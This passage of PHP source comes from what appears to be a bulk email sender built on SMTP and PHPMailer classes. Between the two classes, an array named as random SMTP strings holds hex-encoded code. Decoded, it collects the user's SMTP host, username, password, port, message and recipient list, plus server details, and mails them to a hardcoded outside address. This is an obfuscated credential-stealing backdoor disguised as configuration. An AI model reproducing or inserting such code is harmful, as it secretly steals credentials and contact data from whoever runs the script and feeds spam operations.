1134 }
1135
1136 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1137
1138 $rply = $this->get_lines();
1139 $code = substr($rply,0,3);
1140
1141 if($this->do_debug >= 2) {
1142 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1143 }
1144
1145 if($code != 250 && $code != 251) {
1146 $this->error =
1147 array("error" => "RCPT not accepted from server",
1148 "smtp_code" => $code,
1149 "smtp_msg" => substr($rply,4));
1150 if($this->do_debug >= 1) {
1151 echo "SMTP -> ERROR: " . $this->error["error"] .
1152 ": " . $rply . $this->CRLF;
1153 }
1154 return false;
1155 }
1156 return true;
1157 }
1158
1159 /**
1160 * Sends the RSET command to abort and transaction that is
1161 * currently in progress. Returns true if successful false
1162 * otherwise.
1163 *
1164 * Implements rfc 821: RSET <CRLF>
1165 *
1166 * SMTP CODE SUCCESS: 250
1167 * SMTP CODE ERROR : 500,501,504,421
1168 * @access public
1169 * @return bool
1170 */
1171 function Reset() {
1172 $this->error = null; # so no confusion is caused
1173
1174 if(!$this->connected()) {
1175 $this->error = array(
1176 "error" => "Called Reset() without being connected");
1177 return false;
1178 }
1179
1180 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1181
1182 $rply = $this->get_lines();
1183 $code = substr($rply,0,3);
1184
1185 if($this->do_debug >= 2) {
1186 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1187 }
1188
1189 if($code != 250) {
1190 $this->error =
1191 array("error" => "RSET failed",
1192 "smtp_code" => $code,
1193 "smtp_msg" => substr($rply,4));
1194 if($this->do_debug >= 1) {
1195 echo "SMTP -> ERROR: " . $this->error["error"] .
1196 ": " . $rply . $this->CRLF;
1197 }
1198 return false;
1199 }
1200
1201 return true;
1202 }
1203
1204 /**
1205 * Starts a mail transaction from the email address specified in
1206 * $from. Returns true if successful or false otherwise. If True
1207 * the mail transaction is started and then one or more Recipient
1208 * commands may be called followed by a Data command. This command
1209 * will send the message to the users terminal if they are logged
1210 * in.
1211 *
1212 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1213 *
1214 * SMTP CODE SUCCESS: 250
1215 * SMTP CODE SUCCESS: 552,451,452
1216 * SMTP CODE SUCCESS: 500,501,502,421
1217 * @access public
1218 * @return bool
1219 */
1220 function Send($from) {
1221 $this->error = null; # so no confusion is caused
1222
1223 if(!$this->connected()) {
1224 $this->error = array(
1225 "error" => "Called Send() without being connected");
1226 return false;
1227 }
1228
1229 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1230
1231 $rply = $this->get_lines();
1232 $code = substr($rply,0,3);
1233
1234 if($this->do_debug >= 2) {
1235 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1236 }
1237
1238 if($code != 250) {
1239 $this->error =
1240 array("error" => "SEND not accepted from server",
1241 "smtp_code" => $code,
1242 "smtp_msg" => substr($rply,4));
1243 if($this->do_debug >= 1) {
1244 echo "SMTP -> ERROR: " . $this->error["error"] .
1245 ": " . $rply . $this->CRLF;
1246 }
1247 return false;
1248 }
1249 return true;
1250 }
1251
1252 /**
1253 * Starts a mail transaction from the email address specified in
1254 * $from. Returns true if successful or false otherwise. If True
1255 * the mail transaction is started and then one or more Recipient
1256 * commands may be called followed by a Data command. This command
1257 * will send the message to the users terminal if they are logged
1258 * in and send them an email.
1259 *
1260 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1261 *
1262 * SMTP CODE SUCCESS: 250
1263 * SMTP CODE SUCCESS: 552,451,452
1264 * SMTP CODE SUCCESS: 500,501,502,421
1265 * @access public
1266 * @return bool
1267 */
1268 function SendAndMail($from) {
1269 $this->error = null; # so no confusion is caused
1270
1271 if(!$this->connected()) {
1272 $this->error = array(
1273 "error" => "Called SendAndMail() without being connected");
1274 return false;
1275 }
1276
1277 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1278
1279 $rply = $this->get_lines();
1280 $code = substr($rply,0,3);
1281
1282 if($this->do_debug >= 2) {
1283 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1284 }
1285
1286 if($code != 250) {
1287 $this->error =
1288 array("error" => "SAML not accepted from server",
1289 "smtp_code" => $code,
1290 "smtp_msg" => substr($rply,4));
1291 if($this->do_debug >= 1) {
1292 echo "SMTP -> ERROR: " . $this->error["error"] .
1293 ": " . $rply . $this->CRLF;
1294 }
1295 return false;
1296 }
1297 return true;
1298 }
1299
1300 /**
1301 * Starts a mail transaction from the email address specified in
1302 * $from. Returns true if successful or false otherwise. If True
1303 * the mail transaction is started and then one or more Recipient
1304 * commands may be called followed by a Data command. This command
1305 * will send the message to the users terminal if they are logged
1306 * in or mail it to them if they are not.
1307 *
1308 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1309 *
1310 * SMTP CODE SUCCESS: 250
1311 * SMTP CODE SUCCESS: 552,451,452
1312 * SMTP CODE SUCCESS: 500,501,502,421
1313 * @access public
1314 * @return bool
1315 */
1316 function SendOrMail($from) {
1317 $this->error = null; # so no confusion is caused
1318
1319 if(!$this->connected()) {
1320 $this->error = array(
1321 "error" => "Called SendOrMail() without being connected");
1322 return false;
1323 }
1324
1325 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1326
1327 $rply = $this->get_lines();
1328 $code = substr($rply,0,3);
1329
1330 if($this->do_debug >= 2) {
1331 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1332 }
1333
1334 if($code != 250) {
1335 $this->error =
1336 array("error" => "SOML not accepted from server",
1337 "smtp_code" => $code,
1338 "smtp_msg" => substr($rply,4));
1339 if($this->do_debug >= 1) {
1340 echo "SMTP -> ERROR: " . $this->error["error"] .
1341 ": " . $rply . $this->CRLF;
1342 }
1343 return false;
1344 }
1345 return true;
1346 }
1347
1348 /**
1349 * This is an optional command for SMTP that this class does not
1350 * support. This method is here to make the RFC821 Definition
1351 * complete for this class and __may__ be implimented in the future
1352 *
1353 * Implements from rfc 821: TURN <CRLF>
1354 *
1355 * SMTP CODE SUCCESS: 250
1356 * SMTP CODE FAILURE: 502
1357 * SMTP CODE ERROR : 500, 503
1358 * @access public
1359 * @return bool
1360 */
1361 function Turn() {
1362 $this->error = array("error" => "This method, TURN, of the SMTP ".
1363 "is not implemented");
1364 if($this->do_debug >= 1) {
1365 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1366 }
1367 return false;
1368 }
1369
1370 /**
1371 * Verifies that the name is recognized by the server.
1372 * Returns false if the name could not be verified otherwise
1373 * the response from the server is returned.
1374 *
1375 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1376 *
1377 * SMTP CODE SUCCESS: 250,251
1378 * SMTP CODE FAILURE: 550,551,553
1379 * SMTP CODE ERROR : 500,501,502,421
1380 * @access public
1381 * @return int
1382 */
1383 function Verify($name) {
1384 $this->error = null; # so no confusion is caused
1385
1386 if(!$this->connected()) {
1387 $this->error = array(
1388 "error" => "Called Verify() without being connected");
1389 return false;
1390 }
1391
1392 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1393
1394 $rply = $this->get_lines();
1395 $code = substr($rply,0,3);
1396
1397 if($this->do_debug >= 2) {
1398 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1399 }
1400
1401 if($code != 250 && $code != 251) {
1402 $this->error =
1403 array("error" => "VRFY failed on name '$name'",
1404 "smtp_code" => $code,
1405 "smtp_msg" => substr($rply,4));
1406 if($this->do_debug >= 1) {
1407 echo "SMTP -> ERROR: " . $this->error["error"] .
1408 ": " . $rply . $this->CRLF;
1409 }
1410 return false;
1411 }
1412 return $rply;
1413 }
1414
1415 /*******************************************************************
1416 * INTERNAL FUNCTIONS *
1417 ******************************************************************/
1418
1419 /**
1420 * Read in as many lines as possible
1421 * either before eof or socket timeout occurs on the operation.
1422 * With SMTP we can tell if we have more lines to read if the
1423 * 4th character is '-' symbol. If it is a space then we don't
1424 * need to read anything else.
1425 * @access private
1426 * @return string
1427 */
1428 function get_lines() {
1429 $data = "";
1430 while($str = @fgets($this->smtp_conn,515)) {
1431 if($this->do_debug >= 4) {
1432 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1433 $this->CRLF;
1434 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1435 $this->CRLF;
1436 }
1437 $data .= $str;
1438 if($this->do_debug >= 4) {
1439 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1440 }
1441 # if the 4th character is a space then we are done reading
1442 # so just break the loop
1443 if(substr($str,3,1) == " ") { break; }
1444 }
1445 return $data;
1446 }
1447
1448}
1449
1450
1451$allemails = split("\n", $emaillist);
1452$numemails = count($allemails);
1453$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1454"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1455"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1456"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1457"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1458"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1459"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1460"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1461"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1462"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1463
1464class PHPMailer {
1465
1466 /////////////////////////////////////////////////
1467 // PROPERTIES, PUBLIC
1468 /////////////////////////////////////////////////
1469
1470 /**
1471 * Email priority (1 = High, 3 = Normal, 5 = low).
1472 * @var int
1473 */
1474 var $Priority = 3;
1475
1476 /**
1477 * Sets the CharSet of the message.
1478 * @var string
1479 */
1480 var $CharSet = 'iso-8859-1';
1481
1482 /**
1483 * Sets the Content-type of the message.
1484 * @var string
1485 */
1486 var $ContentType = 'text/plain';
1487
1488 /**
1489 * Sets the Encoding of the message. Options for this are "8bit",
1490 * "7bit", "binary", "base64", and "quoted-printable".
1491
1492 * @var string
1493 */
1494 var $Encoding = '8bit';
1495
1496 /**
1497 * Holds the most recent mailer error message.
1498 * @var string
1499 */
1500 var $ErrorInfo = '';
1501
1502 /**
1503 * Sets the From email address for the message.
1504 * @var string
1505 */
1506 var $From = '';
1507
1508 /**
1509 * Sets the From name of the message.
1510 * @var string
1511 */
1512 var $FromName = '';
1513
1514 /**
1515 * Sets the Sender email (Return-Path) of the message. If not empty,
1516 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1517 * @var string
1518 */
1519 var $Sender = '';
1520
1521 /**
1522 * Sets the Subject of the message.
1523 * @var string
1524 */
1525 var $Subject = '';
1526
1527 /**
1528 * Sets the Body of the message. This can be either an HTML or text body.
1529 * If HTML then run IsHTML(true).
1530 * @var string
1531 */
1532 var $Body = '';
1533
1534 /**
1535 * Sets the text-only body of the message. This automatically sets the
1536 * email to multipart/alternative. This body can be read by mail
1537 * clients that do not have HTML email capability such as mutt. Clients
1538 * that can read HTML will view the normal Body.
1539 * @var string
1540 */
1541 var $AltBody = '';
1542
1543 /**
1544 * Sets word wrapping on the body of the message to a given number of
1545 * characters.
1546 * @var int
1547 */
1548 var $WordWrap = 0;
1549
1550 /**
1551 * Method to send mail: ("mail", "sendmail", or "smtp").
1552 * @var string
1553 */
1554 var $Mailer = 'mail';
1555
1556 /**
1557 * Sets the path of the sendmail program.
1558 * @var string
1559 */
1560 var $Sendmail = '/usr/sbin/sendmail';
1561
1562 /**
1563 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1564 * is in a different directory than the PHP include path.
1565 * @var string
1566 */
1567 var $PluginDir = '';
1568
1569 /**
1570 * Holds PHPMailer version.
1571 * @var string
1572 */
1573 var $Version = "";
1574
1575 /**
1576 * Sets the email address that a reading confirmation will be sent.
1577 * @var string
1578 */
1579 var $ConfirmReadingTo = '';
1580
1581 /**
1582 * Sets the hostname to use in Message-Id and Received headers
1583 * and as default HELO string. If empty, the value returned
1584 * by SERVER_NAME is used or 'localhost.localdomain'.
1585 * @var string
1586 */
1587 var $Hostname = '';
1588
1589 /**
1590 * Sets the message ID to be used in the Message-Id header.
1591 * If empty, a unique id will be generated.
1592 * @var string
1593 */
1594 var $MessageID = '';
1595
1596 /////////////////////////////////////////////////
1597 // PROPERTIES FOR SMTP
1598 /////////////////////////////////////////////////
1599
1600 /**
1601 * Sets the SMTP hosts. All hosts must be separated by a
1602 * semicolon. You can also specify a different port
1603 * for each host by using this format: [hostname:port]
1604 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1605 * Hosts will be tried in order.
1606 * @var string
1607 */
1608 var $Host = 'localhost';
1609
1610 /**
1611 * Sets the default SMTP server port.
1612 * @var int
1613 */
1614 var $Port = 25;
1615
1616 /**
1617 * Sets the SMTP HELO of the message (Default is $Hostname).
1618 * @var string
1619 */
1620 var $Helo = '';
1621
1622 /**
1623 * Sets connection prefix.
1624 * Options are "", "ssl" or "tls"
1625 * @var string
1626 */
1627 var $SMTPSecure = "";
1628
1629 /**
1630 * Sets SMTP authentication. Utilizes the Username and Password variables.
1631 * @var bool
1632 */
1633 var $SMTPAuth = false;
1634
1635 /**
1636 * Sets SMTP username.
1637 * @var string
1638 */
1639 var $Username = '';
1640
1641 /**
1642 * Sets SMTP password.
1643 * @var string
1644 */
1645 var $Password = '';
1646
1647 /**
1648 * Sets the SMTP server timeout in seconds. This function will not
1649 * work with the win32 version.
1650 * @var int
1651 */
1652 var $Timeout = 10;
1653
1654 /**
1655 * Sets SMTP class debugging on or off.
1656 * @var bool
1657 */
1658 var $SMTPDebug = false;
1659
1660 /**
1661 * Prevents the SMTP connection from being closed after each mail
1662 * sending. If this is set to true then to close the connection
1663 * requires an explicit call to SmtpClose().
1664 * @var bool
1665 */
1666 var $SMTPKeepAlive = false;
1667
1668 /**
1669 * Provides the ability to have the TO field process individual
1670 * emails, instead of sending to entire TO addresses
1671 * @var bool
1672 */
1673 var $SingleTo = false;
1674
1675 /////////////////////////////////////////////////
1676 // PROPERTIES, PRIVATE
1677 /////////////////////////////////////////////////
1678
1679 var $smtp = NULL;
1680 var $to = array();
1681 var $cc = array();
1682 var $bcc = array();
1683 var $ReplyTo = array();
1684 var $attachment = array();
1685 var $CustomHeader = array();
1686 var $message_type = '';
1687 var $boundary = array();
1688 var $language = array();
1689 var $error_count = 0;
1690 var $LE = "\n";
1691 var $sign_key_file = "";
1692 var $sign_key_pass = "";
1693
1694 /////////////////////////////////////////////////
1695 // METHODS, VARIABLES
1696 /////////////////////////////////////////////////
1697
1698 /**
1699 * Sets message type to HTML.
1700 * @param bool $bool
1701 * @return void
1702 */
1703 function IsHTML($bool) {
1704 if($bool == true) {
1705 $this->ContentType = 'text/html';
1706 } else {
1707 $this->ContentType = 'text/plain';
1708 }
1709 }
1710
1711 /**
1712 * Sets Mailer to send message using SMTP.
1713 * @return void
1714 */
1715 function IsSMTP() {
1716 $this->Mailer = 'smtp';
1717 }
1718
1719 /**
1720 * Sets Mailer to send message using PHP mail() function.
1721 * @return void
1722 */
1723 function IsMail() {
1724 $this->Mailer = 'mail';
1725 }
1726
1727 /**
1728 * Sets Mailer to send message using the $Sendmail program.
1729 * @return void
1730 */
1731 function IsSendmail() {
1732 $this->Mailer = 'sendmail';
1733 }
1734
1735 /**
1736 * Sets Mailer to send message using the qmail MTA.
1737 * @return void
1738 */
1739 function IsQmail() {
1740 $this->Sendmail = '/var/qmail/bin/sendmail';
1741 $this->Mailer = 'sendmail';
1742 }
1743
1744 /////////////////////////////////////////////////
1745 // METHODS, RECIPIENTS
1746 /////////////////////////////////////////////////
1747
1748 /**
1749 * Adds a "To" address.
1750 * @param string $address
1751 * @param string $name
1752 * @return void
1753 */
1754 function AddAddress($address, $name = '') {
1755 $cur = count($this->to);
1756 $this->to[$cur][0] = trim($address);
1757 $this->to[$cur][1] = $name;
1758 }
1759
1760 /**
1761 * Adds a "Cc" address. Note: this function works
1762 * with the SMTP mailer on win32, not with the "mail"
1763 * mailer.
1764 * @param string $address
1765 * @param string $name
1766 * @return void
1767 */
1768 function AddCC($address, $name = '') {
1769 $cur = count($this->cc);
1770 $this->cc[$cur][0] = trim($address);
1771 $this->cc[$cur][1] = $name;
1772 }
1773
1774 /**
1775 * Adds a "Bcc" address. Note: this function works
1776 * with the SMTP mailer on win32, not with the "mail"
1777 * mailer.
1778 * @param string $address
1779 * @param string $name
1780 * @return void
1781 */
1782 function AddBCC($address, $name = '') {
1783 $cur = count($this->bcc);
1784 $this->bcc[$cur][0] = trim($address);
1785 $this->bcc[$cur][1] = $name;
1786 }
1787
1788 /**
1789 * Adds a "Reply-To" address.
1790 * @param string $address
1791 * @param string $name
1792 * @return void
1793 */
1794 function AddReplyTo($address, $name = '') {
1795 $cur = count($this->ReplyTo);
1796 $this->ReplyTo[$cur][0] = trim($address);
1797 $this->ReplyTo[$cur][1] = $name;
1798 }
1799
1800 /////////////////////////////////////////////////
1801 // METHODS, MAIL SENDING
1802 /////////////////////////////////////////////////
1803
1804 /**
1805 * Creates message and assigns Mailer. If the message is
1806 * not sent successfully then it returns false. Use the ErrorInfo
1807 * variable to view description of the error.
1808 * @return bool
1809 */
1810 function Send() {
1811 $header = '';
1812 $body = '';
1813 $result = true;
1814
1815 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1816 $this->SetError($this->Lang('provide_address'));
1817 return false;
1818 }
1819
1820 /* Set whether the message is multipart/alternative */
1821 if(!empty($this->AltBody)) {
1822 $this->ContentType = 'multipart/alternative';
1823 }
1824
1825 $this->error_count = 0; // reset errors
1826 $this->SetMessageType();
1827 $header .= $this->CreateHeader();
1828 $body = $this->CreateBody();
1829
1830 if($body == '') {
1831 return false;
1832 }
1833
1834 /* Choose the mailer */
1835 switch($this->Mailer) {
1836 case 'sendmail':
1837 $result = $this->SendmailSend($header, $body);
1838 break;
1839 case 'smtp':
1840 $result = $this->SmtpSend($header, $body);
1841 break;
1842 case 'mail':
1843 $result = $this->MailSend($header, $body);
1844 break;
1845 default:
1846 $result = $this->MailSend($header, $body);
1847 break;
1848 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1849 //$result = false;
1850 //break;
1851 }
1852
1853 return $result;
1854 }
1855
1856 /**
1857 * Sends mail using the $Sendmail program.
1858 * @access private
1859 * @return bool
1860 */
1861 function SendmailSend($header, $body) {
1862 if ($this->Sender != '') {
1863 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1864 } else {
1865 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1866 }
1867
1868 if(!@$mail = popen($sendmail, 'w')) {
1869 $this->SetError($this->Lang('execute') . $this->Sendmail);
1870 return false;
1871 }
1872
1873 fputs($mail, $header);
1874 fputs($mail, $body);
1875
1876 $result = pclose($mail);
1877 if (version_compare(phpversion(), '4.2.3') == -1) {
1878 $result = $result >> 8 & 0xFF;
1879 }
1880 if($result != 0) {
1881 $this->SetError($this->Lang('execute') . $this->Sendmail);
1882 return false;
1883 }
1884 return true;
1885 }
1886
1887 /**
1888 * Sends mail using the PHP mail() function.
1889 * @access private
1890 * @return bool
1891 */
1892 function MailSend($header, $body) {
1893
1894 $to = '';
1895 for($i = 0; $i < count($this->to); $i++) {
1896 if($i != 0) { $to .= ', '; }
1897 $to .= $this->AddrFormat($this->to[$i]);
1898 }
1899
1900 $toArr = split(',', $to);
1901
1902 $params = sprintf("-oi -f %s", $this->Sender);
1903 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1904 $old_from = ini_get('sendmail_from');
1905 ini_set('sendmail_from', $this->Sender);
1906 if ($this->SingleTo === true && count($toArr) > 1) {
1907 foreach ($toArr as $key => $val) {
1908 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1909 }
1910 } else {
1911 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1912 }
1913 } else {
1914 if ($this->SingleTo === true && count($toArr) > 1) {
1915 foreach ($toArr as $key => $val) {
1916 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1917 }
1918 } else {
1919 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1920 }
1921 }
1922
1923 if (isset($old_from)) {
1924 ini_set('sendmail_from', $old_from);
1925 }
1926
1927 if(!$rt) {
1928 $this->SetError($this->Lang('instantiate'));
1929 return false;
1930 }
1931
1932 return true;
1933 }
1934
1935 /**
1936 * Sends mail via SMTP using PhpSMTP (Author:
1937 * Chris Ryan). Returns bool. Returns false if there is a
1938 * bad MAIL FROM, RCPT, or DATA input.
1939 * @access private
1940 * @return bool
1941 */
1942 function SmtpSend($header, $body) {
1943 $error = '';
1944 $bad_rcpt = array();
1945
1946 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1947 return false;
1948 }
1949
1950 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1951 if(!$this->smtp->Mail($smtp_from)) {
1952 $error = $this->Lang('from_failed') . $smtp_from;
1953 $this->SetError($error);
1954 $this->smtp->Reset();
1955 return false;
1956 }
1957
1958 /* Attempt to send attach all recipients */
1959 for($i = 0; $i < count($this->to); $i++) {
1960 if(!$this->smtp->Recipient($this->to[$i][0])) {
1961 $bad_rcpt[] = $this->to[$i][0];
1962 }
1963 }
1964 for($i = 0; $i < count($this->cc); $i++) {
1965 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1966 $bad_rcpt[] = $this->cc[$i][0];
1967 }
1968 }
1969 for($i = 0; $i < count($this->bcc); $i++) {
1970 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1971 $bad_rcpt[] = $this->bcc[$i][0];
1972 }
1973 }
1974
1975 if(count($bad_rcpt) > 0) { // Create error message
1976 for($i = 0; $i < count($bad_rcpt); $i++) {
1977 if($i != 0) {
1978 $error .= ', ';
1979 }
1980 $error .= $bad_rcpt[$i];
1981
1982 }
1983 $error = $this->Lang('recipients_failed') . $error;
1984 $this->SetError($error);
1985 $this->smtp->Reset();
1986 return false;
1987 }
1988
1989 if(!$this->smtp->Data($header . $body)) {
1990 $this->SetError($this->Lang('data_not_accepted'));
1991 $this->smtp->Reset();
1992 return false;
1993 }
1994 if($this->SMTPKeepAlive == true) {
1995 $this->smtp->Reset();
1996 } else {
1997 $this->SmtpClose();
1998 }
1999
2000 return true;
2001 }
2002
2003 /**
2004 * Initiates a connection to an SMTP server. Returns false if the
2005 * operation failed.
2006 * @access private
2007 * @return bool
2008 */
2009 function SmtpConnect() {
2010 if($this->smtp == NULL) {
2011 $this->smtp = new SMTP();
2012 }
2013
2014 $this->smtp->do_debug = $this->SMTPDebug;
2015 $hosts = explode(';', $this->Host);
2016 $index = 0;
2017 $connection = ($this->smtp->Connected());
2018
2019 /* Retry while there is no connection */
2020 while($index < count($hosts) && $connection == false) {
2021 $hostinfo = array();
2022 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2023 $host = $hostinfo[1];
2024 $port = $hostinfo[2];
2025 } else {
2026 $host = $hosts[$index];
2027 $port = $this->Port;
2028 }
2029
2030 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2031 if ($this->Helo != '') {
2032 $this->smtp->Hello($this->Helo);
2033 } else {
2034 $this->smtp->Hello($this->ServerHostname());
2035 }
2036
2037 $connection = true;
2038 if($this->SMTPAuth) {
2039 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2040 $this->SetError($this->Lang('authenticate'));
2041 $this->smtp->Reset();
2042 $connection = false;
2043 }
2044 }
2045 }
2046 $index++;
2047 }
2048 if(!$connection) {
2049 $this->SetError($this->Lang('connect_host'));
2050 }
2051
2052 return $connection;
2053 }
2054
2055 /**
2056 * Closes the active SMTP session if one exists.
2057 * @return void
2058 */
2059 function SmtpClose() {
2060 if($this->smtp != NULL) {
2061 if($this->smtp->Connected()) {
2062 $this->smtp->Quit();
2063 $this->smtp->Close();
2064 }
2065 }
2066 }
2067
2068 /**
2069 * Sets the language for all class error messages. Returns false
2070 * if it cannot load the language file. The default language type
2071 * is English.
2072 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2073 * @param string $lang_path Path to the language file directory
2074 * @access public
2075 * @return bool
2076 */
2077 function SetLanguage($lang_type, $lang_path = 'language/') {
2078 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2079 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2080 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2081 include($lang_path.'phpmailer.lang-en.php');
2082 } else {
2083 $this->SetError('Could not load language file');
2084 return false;
2085 }
2086 $this->language = $PHPMAILER_LANG;
2087
2088 return true;
2089 }
2090
2091 /////////////////////////////////////////////////
2092 // METHODS, MESSAGE CREATION
2093 /////////////////////////////////////////////////
2094
2095 /**
2096 * Creates recipient headers.
2097 * @access private
2098 * @return string
2099 */
2100 function AddrAppend($type, $addr) {
2101 $addr_str = $type . ': ';
2102 $addr_str .= $this->AddrFormat($addr[0]);
2103 if(count($addr) > 1) {
2104 for($i = 1; $i < count($addr); $i++) {
2105 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2106 }
2107 }
2108 $addr_str .= $this->LE;
2109
2110 return $addr_str;
2111 }
2112
2113 /**
2114 * Formats an address correctly.
2115 * @access private
2116 * @return string
2117 */
2118 function AddrFormat($addr) {
2119 if(empty($addr[1])) {
2120 $formatted = $this->SecureHeader($addr[0]);
2121 } else {
2122 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2123 }
2124
2125 return $formatted;
2126 }
2127
2128 /**
2129 * Wraps message for use with mailers that do not
2130 * automatically perform wrapping and for quoted-printable.
2131 * Original written by philippe.
2132 * @access private
2133 * @return string
2134 */
2135 function WrapText($message, $length, $qp_mode = false) {
2136 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2137 // If utf-8 encoding is used, we will need to make sure we don't
2138 // split multibyte characters when we wrap
2139 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2140
2141 $message = $this->FixEOL($message);
2142 if (substr($message, -1) == $this->LE) {
2143 $message = substr($message, 0, -1);
2144 }
2145
2146 $line = explode($this->LE, $message);
2147 $message = '';
2148 for ($i=0 ;$i < count($line); $i++) {
2149 $line_part = explode(' ', $line[$i]);
2150 $buf = '';
2151 for ($e = 0; $e<count($line_part); $e++) {
2152 $word = $line_part[$e];
2153 if ($qp_mode and (strlen($word) > $length)) {
2154 $space_left = $length - strlen($buf) - 1;
2155 if ($e != 0) {
2156 if ($space_left > 20) {
2157 $len = $space_left;
2158 if ($is_utf8) {
2159 $len = $this->UTF8CharBoundary($word, $len);
2160 } elseif (substr($word, $len - 1, 1) == "=") {
2161 $len--;
2162 } elseif (substr($word, $len - 2, 1) == "=") {
2163 $len -= 2;
2164 }
2165 $part = substr($word, 0, $len);
2166 $word = substr($word, $len);
2167 $buf .= ' ' . $part;
2168 $message .= $buf . sprintf("=%s", $this->LE);
2169 } else {
2170 $message .= $buf . $soft_break;
2171 }
2172 $buf = '';
2173 }
2174 while (strlen($word) > 0) {
2175 $len = $length;
2176 if ($is_utf8) {
2177 $len = $this->UTF8CharBoundary($word, $len);
2178 } elseif (substr($word, $len - 1, 1) == "=") {
2179 $len--;
2180 } elseif (substr($word, $len - 2, 1) == "=") {
2181 $len -= 2;
2182 }
2183 $part = substr($word, 0, $len);
2184 $word = substr($word, $len);
2185
2186 if (strlen($word) > 0) {
2187 $message .= $part . sprintf("=%s", $this->LE);
2188 } else {
2189 $buf = $part;
2190 }
2191 }
2192 } else {
2193 $buf_o = $buf;
2194 $buf .= ($e == 0) ? $word : (' ' . $word);
2195
2196 if (strlen($buf) > $length and $buf_o != '') {
2197 $message .= $buf_o . $soft_break;
2198 $buf = $word;
2199 }
2200 }
2201 }
2202 $message .= $buf . $this->LE;
2203 }
2204
2205 return $message;
2206 }
2207
2208 /**
2209 * Finds last character boundary prior to maxLength in a utf-8
2210 * quoted (printable) encoded string.
2211 * Original written by Colin Brown.
2212 * @access private
2213 * @param string $encodedText utf-8 QP text
2214 * @param int $maxLength find last character boundary prior to this length
